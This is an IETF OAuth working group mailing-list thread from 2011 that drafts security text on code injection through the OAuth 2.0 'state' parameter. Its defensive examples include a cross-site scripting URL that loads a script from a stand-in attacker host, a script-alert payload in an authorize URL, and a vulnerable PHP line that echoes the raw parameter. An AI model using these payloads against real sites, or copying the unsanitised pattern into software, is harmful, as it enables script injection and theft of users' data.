See below for revision, tried to follow the "introduction, recommendation, example" structure in 10.12 "Cross-site Request Forgery" and shorten my text.
I'm strugging to make it clear that any internal modification to the 'state' parameter must not affect the re-transmitted value of 'state' in Authorization Response / Error Response when it originates from the authorisation server. --- Security Consideration: Code Injection Attacks Code injection attacks are when an input or otherwise external variable is used within an application where that input can cause modification of application logic when unsanitised. This may allow an attacker to gain access to client or user data, cause Denial of Service or a wide range of malicious side-effects. Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter described in section 4.1.2 is correctly sanitised for internal processing, storage or output outside the scope of the OAuth protocol. Failure to correctly sanitise the 'state' parameter can cause code injection attacks even if a cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is used. As an example, a malicious person may create a fake Error Response as described in section 4.1.2.1 containing a maliciously crafted state parameter. The following request would be sent to the client: https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client application may result in the injection of code into the user agent of the end user, possibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to remove or escape HTML syntax before interpolation of the value into server output to the user agent. --end-- On 20 July 2011 19:40, Eran Hammer-Lahav <e...@hueniverse.com> wrote: > Take a look at how the other sections in the draft setup the premise first > and give a quick explanation of the attack…**** > > ** ** > > EHL**** > > ** ** > > *From:* Aiden Bell [mailto:aiden...@gmail.com] > *Sent:* Wednesday, July 20, 2011 11:38 AM > *To:* Eran Hammer-Lahav; OAuth WG > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter**** > > ** ** > > Been following this discussion > > I'll propose some text, though it seems to me it is getting into the realm > of "Don't trust inputs" > > It is also worth noting that signing the request using something like the > HMAC extension elevates any > problems where you DO need to evaluate the state parameter in some way > where the evaluation process > is too complex to secure (DSLs and languages in state, which is really ugly > but, someone may do it). > > Really though, just seems like general application security advice rather > than OAuth specific > > Security Consideration: Code Injection Attacks > > Incorrect validation or sanitation of the 'state' parameter from section > 4.1.2 could lead to code > injection. > > Both client and server SHOULD ensure that the "state" parameter described > in section 4.1.2 is correctly validated, escaped or sanitised prior to > processing for their application's > requirements. Modifications, for security or otherwise to the 'state' > variable contained in the Authorization Request by the > authorization server will not be transmitted to the client in the > Authorization Response or Error Response > as the response 'state' value MUST be identical to the value in the > request. > > If the 'state' parameter passed between client and server contains a value > which is interpreted or > otherwise placed into a context that requires evaluation of the unmodified > value then a cryptographic > scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used > to verify request authenticity. > It should be noted however than a cryptographically authentic request may > still contain malicious > code if the client or server integrity can not be established and trusted. > > As an example, a malicious person may create a fake Error Response as > described in section > 4.1.2.1 containing a maliciously crafted state parameter. The following > request would be sent to > the client: > > > https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E > > Insecure transfer of the decoded value into the HTML buffer of the client > application > may result in the injection of code into the user agent of the end user, > possibly compromising data. > This example attack can be mitigated by sanitising the 'state' parameter to > remove or escape HTML > syntax before interpolation of the value into server output to the user > agent. > > --end-- > > Not claiming it is good, well written or concise ... but it is proposed. > Even if it is rejected, feedback > would be appreciated. > > Thanks, > Aiden > > **** > > On 20 July 2011 18:36, Eran Hammer-Lahav <e...@hueniverse.com> wrote:**** > > I think most of your description isn't very relevant to this particular > attack. I'll skip to the part where the legitimate client gets a maliciously > modified state parameter value. > > Your concern seems to be a simple code injection attack (e.g. that some > clients will not properly protect their code from invalid state values). For > example, a client may use state to pass a JSON string and when it receives > it back, calls eval() on the raw state value or even JSON.parse without > catching exceptions. > > The right way to address this is to add a new security consideration > section discussion the various Injection Attacks possible. Using state to > include malicious code is one. Another is code injection in the redirect_uri > by a malicious client to an authorization server supporting dynamic > redirection URIs. > > Then of course, there really is no need for any elaborate setup for anyone > to send requests to the client redirection URI endpoint directly (without > following any of the flow). In such a case, the enforcement of safe state > values by the authorization server will accomplish nothing if the client > doesn't perform its own validation (and we're back to square one). In other > words, I can call any endpoint on the client with any malicious parameters > and try to break it. > > But even if you perform input validation on the client side, which should > prevent a code injection attack, you are still open to other malicious > manipulation of the state parameter. For example, a naïve client can use the > state parameter to pass a user id so that when the redirection callback is > called, it can link the access token to that account. That of course, would > be a very bad thing (tm) without some protection (e.g. state cookie) which > the client can use to validate the state value. > > In short, over specification does not solve ignorance. We can and should > highlight the possible code injection attacks on both the client and > authorization server, as well as other security concerns around the state > parameter. But at the end, it is up to both the client and authorization > server developers to build secure applications. > > So, anyone volunteering to propose text?**** > > > EHL > > > > -----Original Message----- > > From: bigbadb...@gmail.com [mailto:bigbadb...@gmail.com] On Behalf Of > > Bob Van Zant**** > > > Sent: Wednesday, July 20, 2011 9:29 AM > > To: Eran Hammer-Lahav > > Cc: Breno; OAuth WG**** > > > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > > > The problem lies in the inherent trust of the state parameter. The naive > > client application developer assumes that state goes out to the > authorization > > server and comes back unchanged; because that's what the spec says will > > happen. > > > > As a malicious person I use the client application and steal the client > id when > > I'm redirected to the authorization server. > > > > I then craft my own authorization URL pretending to act on behalf of the > > client application. > > > > http://example.com/oauth/authorize?client_id=deadbeef&response_type= > > code&state=%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > > > I send that out to unsuspecting people. Those people are sent to my site; > > maybe they trust it. The site is asking them to authorize an application > they > > perhaps they're familiar with. So they do. > > > > Now the assumption, and it's really not much of a leap of faith, is that > some > > client developer is going to take that state variable and put it directly > into > > their site. In PHP it could be something silly > > like: > > > > Thanks for authorizing our app, $_GET["state"]. > > > > Chrome protects me from this basic attack (I just inserted it into one of > my > > demos): Refused to execute a JavaScript script. Source code of script > found > > within request. Other browsers won't. Real attackers are more creative > than > > me. > > > > -Bob > > > > > > > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > > <e...@hueniverse.com> wrote: > > > Can you provide examples of bad values and how they make the > > implementation less secure? What's the attack vector here? > > > > > > EHL > > > > > >> -----Original Message----- > > >> From: bigbadb...@gmail.com [mailto:bigbadb...@gmail.com] On Behalf > > Of > > >> Bob Van Zant > > >> Sent: Wednesday, July 20, 2011 9:10 AM > > >> To: Breno; Eran Hammer-Lahav > > >> Cc: OAuth WG > > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > >> > > >> I think somewhere in here my original comments got lost. The spec, as > > >> written, provides no limitations on what can go in the state variable. > > >> If we don't define those limitations in the spec implementors are > > >> going to define their own limitations (I'm on the verge of doing it > myself). > > >> > > >> I propose that the state variable be limited to the set of characters > > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 > characters. > > >> It's simple, doesn't require URL encoding, and will be hard for a > > >> client application to turn into a vulnerability. It provides plenty > > >> of uniqueness (it can fit a sha512) for even the largest and most used > > client applications. > > >> > > >> -Bob > > >> > > >> > > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno <breno.demedei...@gmail.com> > > >> wrote: > > >> > > > >> > > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > > >> > <e...@hueniverse.com> > > >> > wrote: > > >> >> > > >> >> > > >> >> > -----Original Message----- > > >> >> > From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On > > >> >> > Behalf Of Eliot Lear > > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > > >> >> > > >> >> > One other point: if the redirection_uri can have fragments and > > >> >> > can be provided, why is state necessary? > > >> >> > > >> >> First, I assume you mean query instead of fragment. > > >> >> > > >> >> This was discussed on the list about a year ago. There isn't a > > >> >> requirement to support both dynamic redirection URIs as well as a > > >> >> special state parameter. However, the state parameter provides a > > >> >> better way to allow customization of the redirection request > > >> >> alongside full registration of the redirection URI. Section 3.1.2 > > >> >> recommends using the state parameter over changing the redirection > > >> >> URI > > >> itself. > > >> >> > > >> >> Using state is much simpler because the authorization server does > > >> >> not have to implement potentially insecure URI comparison > > >> >> algorithms for dynamic redirection URIs. > > >> > > > >> > Agree -- for instance, Google's provider doesn't allow arbitrary > > >> > dynamic specification of query or fragment parameters in redirect > > >> > URIs, for instance, due largely to security considerations. > > >> > > > >> >> > > >> >> EHL > > >> >> _______________________________________________ > > >> >> OAuth mailing list > > >> >> OAuth@ietf.org > > >> >> https://www.ietf.org/mailman/listinfo/oauth > > >> > > > >> > > > >> > > > >> > -- > > >> > Breno de Medeiros > > >> > > > >> > > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth**** > > > > > -- > ------------------------------------------------------------------ > Never send sensitive or private information via email unless it is > encrypted. http://www.gnupg.org**** > -- ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org
_______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
